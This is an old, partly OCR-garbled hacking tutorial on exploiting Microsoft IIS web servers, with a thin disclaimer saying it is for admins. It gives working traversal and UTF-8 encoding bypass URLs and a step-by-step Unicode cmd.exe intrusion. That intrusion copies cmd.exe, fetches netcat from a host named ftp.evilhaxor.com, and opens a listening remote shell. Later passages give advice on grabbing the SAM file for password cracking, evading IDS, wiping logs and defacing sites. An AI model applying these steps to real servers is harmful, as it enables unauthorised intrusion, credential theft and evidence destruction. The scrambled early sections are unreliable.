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IIS Exploitation **	**	by fugjostle **	
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condone hacking IIS ser	vers in any way		lide is intended as a guide
for admins to hel			Idies don't understand but
		first day, God created directory tr	
		ow an entire website to be moved	-
		l. For example, lets say we have	
		webpages/htdocs/pictures.html /	
	•		via an absolute path shown above
		nages/pic1.gifThe relative path te	·
·			/home/webpages. Then the server
			as used the 'cd' command in DOS
		ation. So what's the problem I hea	
	-	check the supplied URL to ensu	-
actually in the web direct	ory. This allows	someone to backtrack through th	ne servers directory structure and
request files that the wel	server has acco	ess to. For example,	
http://www.target.com//	//etc/passwdN	IB. you can also use double dots	and double quotes. This is useful
to evadeIntrusion Detect	ion Systems (ID	S): http://www.target.com////	.///./etc/./passwdThe
webserver simply strips	he extra stuff ou	t and processes the request.This	s is the same as the previous
example and can make	string matching I	DS'swork for their money[On the	ne second day, God created
for naughty URL's and k if by encoding the URL v	eep the requests vill it still be reco	, ,	-
•	•	I becomes http://www.target.com	
	•	ve changed the now denied URL	•
	• • •	-	2e/%2e%2e/%2e%2e/etc/passwd The
		f dots in the path and finds none.	-
•		that you can encode the hex syn	•
·	-	ouble decode". For example, give	
		the following will take place:(1) O	
•		%2f%2fdocs/" [%25 = '%' so '%	_
		g will be converted to: "http://vic	
= '/'][On the third day, (od created Unic	code]The World Wide Web is a gl	lobal phenomenon and as such
needs to be globally inte	roperable. This r	aised the question of how to dea	I with all the different character
sets around the world. A	s a response to t	this, Unicode was created:	
		Unicode provides a un	ique number for
every character, no matt	er what the pla	tform, no matter what the progra	m, no matter what the language.
			pple, HP, IBM, JustSystem, Microsoft, ed by modern standards such as XML,
•	-	CORBA 3.0, WML, etc., and is the	-

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ISO/IEC 10646. It is supported in many operating systems, all modern browsers, and many other products.
-----from http://www.unicode.org-------The problem with Unicode is that it
requires 16 bits for a single character and software tended to use 8 bits for a single character. Unicode
TransForm using 8 bits (UTF-8) was created. This allows for multibyte encoding where a variable number of
bytes can be used for each character: Character 1-byte 2-byte 3-byte .
                                                                            2E
                                                                                  C0 AE E0 80
AE /
                 C0 AF E0 80 AF \
                                          5C
                                                C1 9C E0 81 9C This lead to a new
vulnerability in certain webservers. The parser didn't understand this new encoding and allowed it through
:-)For example: www.target.com/%C0%AE%C0%AE/%C0%AE/%C0%AE/C0%AE/C0%AE/etc/passwdRecent vulnerabilities
have been taking advantage of the fact that the web server doesn't understand the Unicode UTF-8 character set
but the underlying OS does:
www.target.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c%20dirUnderstanding the distinction between
Unicode and UTF-8 can be difficult. As a general rule of thumb you can use the following format as a guide:
             = Unicode %xx%xx
                                      = UTF-8 %xx
                                                           = Hexidecimal %xxxx
%uxxxx
                                                                                       = Double
Decode--[On the fourth day, God created default installs]IIS comes installed with various DLL's (Dynamic
Link Libraries) that increase the functionality of the web server. These ISAPI (Internet Server API)
applications allow programmers/developers to deliver more functionality to IIS. The DLL's are loaded into
memory at startup and offer significant speed over traditional CGI programs. For example, they can be
combined with the Internet Database Connector (httpodbc.dll) to create interactive sites that use ODBC to
access databases. The problem is that some of these DLL's are insecure and are often installed with sample
scripts that demonstrate how to exploit, erm, I mean use them. ASP.DLL is used to pre-process requests that
end in ".asp". ASP (Active Server Pages) are basically HTML pages with embedded code that is processed by
the webserver before serving it to the client. Here's some examples to illustrate how the sample pages
installed by defaultcan aid someone breaking into your site via the ASP.DLL:[prefix all the examples with
http://www.target.com] /default.asp. ** Appending a '.' to the URL can reveal the source ** on
older systems. Remember hex encoding? You can ** also try using %2e to do the same thing.
/msadc/samples/adctest.asp ** This gives you an interface into the msadcs.dll ** and allows creation
of DSN's. Read RFP's stuff ** for idea's on how to exploit this.
/iissamples/exair/howitworks/codebrws.asp?source=/msadc/Samples/../../.../../boot.ini
/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/../../../boot.ini ** You can view the
source of anything in the ** document root. '/msadc/' needs to be in the ** request as it is checked
for, wait for this, ** security :-) /index.asp::$DATA ** Appending '::$DATA' to the URL can reveal
can reveal the source of any server ** processed file. This only works on servers ** that are Chinese,
Japanese or Korean. /AdvWorks/equipment/catalog type.asp?ProductType=|shell("cmd+/c+dir+c:\")| ** This
one allows you to execute remote ** shell commands ;-)ISM.DLL is used to process requests that end in
".htr". These pages were used to administer IIS3 servers. In IIS4 they are not used but various .htr samples
are installed by default anyway and offer another avenue for entry. /index.asp%20%20%20..(220
more)..%20%20.htr ** IIS will redirect this request to ISM.DLL, ** which will strip the '.htr'
extension and ** deliver the source code of the file. /global.asa+.htr ** Does the same thing as
the %20%20 exploit ** above. ISM.DLL strips the +.htr and delivers ** you the source of the file
/scripts/iisadmin/ism.dll?http/dir ** Excellent brute force opportunity if the ** dll exists.
Successful logons will reveal ** lots of useful stuff. /iisadmpwd/aexp.htr ** The iisadmpwd diectory
contains several .htr ** files that allow NetBIOS resolution and ** password attacks.
/scripts/iisadmin/bdir.htr??c:\inetpub\www ** This method will only reveal directories ** but can be
useful for identifying the ** servers structure for more advanced ** attacks later.MSADCS.DLL is
used to allow access to ODBC components via IIS using RDS (Remote Data Service). RDS is part of the default
install of Microsoft Data Access Components (MDAC) and is a commonly exploited on IIS. It can allowarbitrary
shell commands to be executed with system privileges. /msadc/msadcs.dll ** If this file exists then
there's a pretty ** good chance that you can run the RDS ** exploit again the box. More on this
later.HTTPODBC.DLL is the Internet Connector Database (IDC) and used when the webserver wants to connect to
a database. It allows the creation of web pagesfrom data in the database, and it allows you to update/delete
items from within webpages. Pages with the extension '.idc' are sent to the HTTPODBC.DLLfor processing.
/index.idc::$DATA ** Appending '::$DATA' to the URL can reveal ** the source of the IDC.
/anything.idc ** Requesting a non-existance file will ** reveal the location of the web root.
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/scripts/iisadmin/tools/ctss.idc ** Creates a table based on the parameters it ** receives. Excellent
place to look at for ** SQL injection.SSINC.DLL is used for processing Server Side Includes (SSI).
'.stm', '.shtm' and '.shtml' extension are sent to the DLL which interpretsthe SSI statements within the
HTML before sending it to the client. An example of SSI would be: <!--#include file="news.txt"-->This
SSI tells the server to include the 'news.txt' in the final HTML sent to the use. SSI statements are beyond
the scope of this document but offer another security hole open to our wiley hax0r. Ensure you remove the
app mapping and disable SSI if you do not require its functionality. SSINC.DLL is also vulnerable to a
remote buffer overflow, read the following advisory for details:
http://www.nsfocus.com/english/homepage/sa01-06.htmSome examples of SSINC.DLL fun: /anything.stm **
If you request a file that doesn't exist ** then the server error message contains the ** the location
of the web root. /somedir/anything.stm/somedir/index.asp ** Using this method allows you to view the
** the source code for index.asp. IDQ.DLL is a component of MS Index Server and handles '.ida' and
'.idg'requests. This DLL has had some big exposure with the recent Nimda worm. I'm not going into too much
detail but '.ida' was used in a buffer overflow that resulted in user defined code being executed on the
server. /anything.ida or /anything.idq
                                      ** Requesting a non-existance file will ** reveal the
location of the web root. /query.idq?CiTemplate=../../boot.ini ** You can use this to read any file
on ** the same drive as the web rootCPSHOST.DLL is the Microsoft Posting Acceptor. This allows uploads to
your IIS server, via a web browser or the Web Publishing Wizard. The existance of this DLL can allow
attackers upload files to the server. Other files such asuploadn.asp, uploadx.asp, upload.asp and repost.asp
are installed with SiteServer and allow upload of documents to the server:
/scripts/cpshost.dll?PUBLISH?/scripts/dodgy.asp ** If this file is there then you may be able ** to
upload files to the server. /scripts/uploadn.asp ** Connecting to this page gives you a nice **
qui for uploading your own webpages. You ** probably need to brute the userid. There are lots more example
scripts in the default install and quite a few of them are very, very insecure. Microsoft recommends that you
remove ALL samples from any production server including the ExAir, WSH, ADO and other installed samples.
IIS Default Web Site ------ IISSAMPLES - c:\inetpub\iissamples IISADMIN -
c:\winnt\system32\inetsrv\issadmin IISHELP - c:\winnt\help SCRIPTS
                                                                         c:\inetpub\scripts
IISADMPWD - c:\winnt\systems32\inetsrv\iisadmpwd msadc
                                                                 - c:\program files\common files\system\msadc
logfiles - c:\winnt\system32\logfiles default.htm - c:\inetpub\wwwroot IIS Default App Mapping
------ .asa - c:\winnt\system32\inetsrv\asp.dll .asp -
c:\winnt\system32\inetsrv\asp.dll .cer - c:\winnt\system32\inetsrv\asp.dll .cer -
c:\winnt\system32\inetsrv\asp.dll .htr - c:\winnt\system32\inetsrv\ism.dll .idc -
c:\winnt\system32\inetsrv\httpodbc.dll .shtm - c:\winnt\system32\inetsrv\ssinc.dll .shtml -
c:\winnt\system32\inetsrv\ssinc.dll .stm - c:\winnt\system32\inetsrv\ssinc.dll--[On the fifth day, God
created Frontpage Extensions]Microsoft Frontpage (Originally developed by Vermeer Tech Inc, if you've ever
wondered why they use _vti_) is a web design tool that helps you create and maintain a web site and allows
you to publish it to the web server. In order to publish using Frontpage the server needs to run certain
programs, collectively called the Frontpage Server Extensions. Sounds good I hear you say, but there are
many, many security holes in Frontpage. You can list all the files, download password files and upload your
own files on Frontpage enabled sites. When you publish a file, Frontpage attempts to read the following URL
to get all the information it needs to publish: http://www.myserver.com/ vti inf.htmlThen Frontpage uses
the following URL to POST the files to the site: http://www.myserver.com/_vti_bin/shtml.exe/_vti_rpclt
will come as no surprise that this file is not protected and open to abuse. All information for the site is
stored in the / vti pvt/ dir, and its world readable. Here's some of the things you can look for:
http://www.myserver.com/_vti_pvt/administrators.pwd http://www.myserver.com/_vti_pvt/authors.pwd
http://www.myserver.com/_vti_pvt/service.pwd http://www.myserver.com/_vti_pvt/shtml.dll
http://www.myserver.com/_vti_pvt/shtml.exe http://www.myserver.com/_vti_pvt/users.pwd
http://www.myserver.com/_private--[On the sixth day, God created CGI]--The Common Gateway Interface (CGI)
is a standard for interfacing external applications to the web server. A CGI program is excuted in real time
and is used to create dynamic web sites. Generally, the CGI programs are kept in '/cgi-bin/' but can be
placed anywhere. The programs can be written most languages but typically they are written in C, Perl or
shell scripts. Many sites will use freely available, downloadable scripts from places like Matt's Trojan,
erm, I mean Matt's Script Archive. Its always a good idea to look through the source of the scripts for bad
system calls and lax input validation.CGI deserves a tutorial all to itself and I strongly suggest that you
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read the following tutorials... they explain it better than I ever could: Hacking CGI http://shells.cyberarmy.com/~johnr/docs/cgi/cgi.txt Perl CGI Problems http://www.phrack.com/phrack/55/P55-07Just to get you in the mood we will have a brief look at CGI exploitation. There are three main types of CGI hacking; URL encoding attacks, input validation exploits and buffer overflows. The first thing to keep in mind is that you are already able to exploit cgi using the techniques from previous sections. First, we need to cover some background. CGI can take lots of shapes and forms. One popular use is viaweb based forms that submit information to a CGI via a GET or POST. <FORM NAME="myform" "METHOD=GET" ACTION="../cgi-bin/my_cgi.cgi">When the user clicks on the submit button his information is passed to the CGI script to process either via the URL (GET) or via HTTP headers (POST). Lets assume that the CGI we are going to exploit asks the user for the name of a file to display. The 'GET' method uses the URL to pass the information and it would look like this: http://www.target.com/cgi-bin/my_cgi.cgi?filename=/etc/passwdLets break that down: ? separates the request from the parameters filename - this is the name of the textbox in the html = - assignment for the parameter/value pair /etc/passwd - this is what the user typed into the boxYou can have multiple fields within a HTML form and these will also be passed to the CGI. They are separated using a '&': http://www.target.com/cgi-bin/my_cgi.cgi?filename=/etc/passwd&user=fugjostlelf you were thinking how could you alter the user supplied input to break the CGI then good, you're starting to think in terms of security. Lots of developers love to program new and interesting things but they do not consider security. A security conscious programmer would write input validation routines that would process the data and ensure the user wasn't be malicious or curious. As you read through some of the free scripts on the web you will start to realise that many programmers do not think about security. Lets look briefly at some ways we could exploit the CGI. The first thing to keep in mind is that you already know the generic exploits from the previous section. The only area in which we are lacking is programming language specific info.We will stick with the example cgi that open's a file (and let's assume its written Perl). Lets look at some of the things we can try: my_cgi.pl?filename=../../../../etc/passwdand lets do the same thing but encode the URL to bypass security checks: my_cgi.pl?filename=../..%c0%af../..%c0%af../etc/passwdlf you have read the RFP document above then you will be familiar with poison null bytes. Stop now and go read it... can't be arsed? ok then, here's the quick version. %00 is valid in a string with Perl but is NUL in C. So? When Perl wants to open the file it makes a request to theoperating system through a system call. The operating system is written in C and %00 is a string delimiter. Lets apply this technique to the following situation. I decide to secure my CGI. I append '.html' to any request. This means that the user can only view html files and if they try something else then it doesn't exist. wh00p @ me :-)But... what if I was to do the following: my_cgi.pl?filename=../../../etc/passwd%00In Perl the filename string would look like this: "../../etc/passwd\0.html"Perfectly valid under Perl. I have done my job... or have I? When this is passed to the OS (which is written in C not Perl) the request looks like this: "../../../etc/passwd"The OS identifies %00 as the string delimiter and ignores anything that Comes after it. The webserver then displays the /etc/passwd file... bugger :- (Many people download scripts from the web and look for problems in the script. Then the wiley hax0r will go to altavista and search for sites that are using that script, eg: url:pollit.cgiand good old altavista provides a list of sites that are just ripe for the taking. The final method of exploiting CGI is via buffer overflows. Languages like Java and Perl are immune to buffer overflows because the language looks after memory management. Programs written in a language such as C are vulnerable because the programmer is supposed to manage the memory. Some programmers fail to check the size of data it is fitting into the memory buffer and overwrites data in the stack. The goal of the buffer overflow is to overwrite the instruction pointerwhich points to the location of the next bit of code to run. An attacker will attempt to overwrite this pointer with a new pointer that points to attacker's code, usually a root shell. Quite a few CGI's exist that are vulnerable to this type of attack. For Example, counter.exe is one such CGI. By writing 2000 A's to the CGI causea Denial of Service (DoS). The details of buffer overflows are beyond the scope of this document. Look out for a future release ;-)If you want to dig deeper in buffer overflows then have a look at: http://www.phrack.com/phrack/49/P49-14--[On the seventh day, God chilled and haxored the planet]Well.. I guess its time we actually tried some of the things discussed but I'm not going to cover everything. I suggest going to the following URL's and searching for IIS: http://www.securityfocus.com/

http://www.packetstormsecurity.com/My main reason for doing this file was to better understand Unicode exploits and so that is going to be the focus of the exploitation. The first exploit I'm going to go through

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is the recent Unicode exploit for IIS4/5: http://www.securityfocus.com/bid/1806Before I get emails
saying 'hold on, you said that %xx%xx is UTF-8" let me explain. This had wide exposure on Bugtrag as the
Unicode exploit. In reality, this is not a Unicode sploit but a UTF-8 sploit. I'm going to keep calling this
the Unicode exploit because its now referenced by this name in the Bugtraq archives and you'll have to search
using Unicode to do furtherresearch.Ok, rant over... To check if the server is exploitable, request the
following URL: http://target.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\You should get a
directory listing of the C:\ drive on the target server. The important thing to note is that the Unicode
string can vary depending where in the world you are. Some possible alternatives include: %c1%1c %c0%9v
%c0%af %c0%qf %c1%8s %c1%9c %c1%pc There are many more to choose from, just look at some of the Bugtraq
posts or research UTF-8 for more alternatives.OK, you can read the directory... what next? You have the
directory listing and the ability to run commands, so you need to find the web root. By default, the web
root is at: c:\inetpub\wwwroot\lf its not there then go and look for it. Let's write a text file there
and see if we can see it: cmd.exe?/c+echo+owned+>+c:\inetpub\wwwroot\test.txthmmm.. it seems that we
don't have write access. Ok, no problem we can get around that by creating a copy of the cmd.exe that has
write privileges: cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\winnt\system32\fug.exeLet's check if it
worked: http://target.com/scripts/..%c0%af../winnt/system32/fug.exe?/c+dir+c:\Yep.. all's good so far.
Lets try and write to the web root: fug.exe?/c+echo+owned+>+c:\inetpub\wwwroot\test.txtLet's open up it
up in the browser and see if we can see it: http://target.com/test.txtw00t!!! Write access!!! Right, we
now have some options open to us. In the words of Microsoft, where do you want to go today? Working via the
URL is pretty clunky and I like the comfort of a nice command prompt, So lets do that. I want to bring over
a copy of netcat and a nice html page that I'll use to replace the existing one. First I need to think about
the script I want to run that will get the files I need from my FTP server: fugscript: open
ftp.evilhaxor.com anonymous anon@microsoft.com cd pub get nc.exe get hacked.html guitRight. I
need to get this script onto the webserver: fug.exe?/c+echo%20open%20ftp.evilhaxor.com>fugscript
fug.exe?/c+echo%20anonymous>>fugscript fug.exe?/c+echo%20anon@microsoft.com>>fugscript
fug.exe?/c+echo%20cd%20pub>>fugscript fug.exe?/c+echo%20get%20nc.exe>>fugscript
fug.exe?/c+echo%20get%20hacked.html>>fugscript fug.exe?/c+echo%20quit>>fugscriptOK.. now we have created a
script on the server called fugscript. Next step is to execute the script and get my files from my web
server. fug.exe?/c+ftp%20-s:fugscriptlf all goes well the server should begin the FTP transfer and get
your files transferred. Be patient and give it time to transfer. Now you are ready to get netcat listening
on a port. The command line for starting netcat is: nc.exe -l -p 6667 -e cmd.exeThis tells netcat to
listen (-I) on port 6667 (-p) and to spawn cmd.exe (-e) when someone connects. The last step is to translate
this command into URL speak ;-): fug.exe?/c+nc.exe%20-l%20-p%206667%20-e%20cmd.exeFire up a telnet
session and connect to port 6667 on the target system and voila... you have a cmd prompt. I really hate web
defacements... so if your going to do it then rename the existing index.htm (or default.htm) to something
like index.htm.old (give the poor admin a break, cause you can betyour arse that he hasn't made a backup).
ALSO: you are now using a system without authorisation and as such, you are guilty under the Computer Misuse
Act in the UK and probably of something similar in your own country. If it never occurred to you to delete
the contents of c:\winnt\system32\logfiles or the 'fugscript' file then you really shouldn't be doing
this. It just wouldn't be right to talk about IIS exploitation without mentioning msadc.pl. rfp's perl
script is a perfect example of exploit chaining. A single exploit is not used but a chain of exploits to get
the script to work. The exploit utilises a combination of inadequate application input validation and
default install fun. The process tries to connect to a Data Source Name (DSN) to execute commands.rfp's
script tests for the existence /msadc/msadc.dll using the GET method. This test will be logged and you should
edit the script to make it a HEAD request and add some URL obfuscation madness. The default msadc.pl script
uses "!ADM!ROX!YOUR!WORLD!" as the MIME separator string. It is advised to change this string as some IDS's
are configured to identify this string. If you want to write your own scanners then you should be looking
for headers with the content type: application/x-vargand of course the IIS version :-) I don't want to
go into too much detail because this is heavily documented on rfp's site:
http://www.wiretrip.net/rfp/How do I use it? I hear you cry... well, its child's play: ./msadc2.pl -h
www.target.comlf all goes well then you should be presented with the following: command:lts interesting
to note at this point that 'cmd /c' will is run as with theprevious exploit. You can edit the script to run
any other executable such as 'rdsik /s' instead. This is good, you can know enter the command you want to
run on the server. The previous Unicode exploit should have given you some ideas but here's a couple that
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come to mind: Example 1: copy c:\winnt\repair\sam._ c:\inetpub\wwwroot\fug.hak (grabbing fug.hak via your browser should give you a nice file to fire up in L0phtcrack or JTR) Example 2: echo open ftp.evilhaxor.com>fugscript && echo fug>>fugscript && echo mypassword>>fugscript... etc. etc. Anyway, that's about all for now. When I can be bothered I'll add some more methods to this file. Until then, ensure your box is fully patched and the default scripts are removed. Go have a look at the following URL and get secure: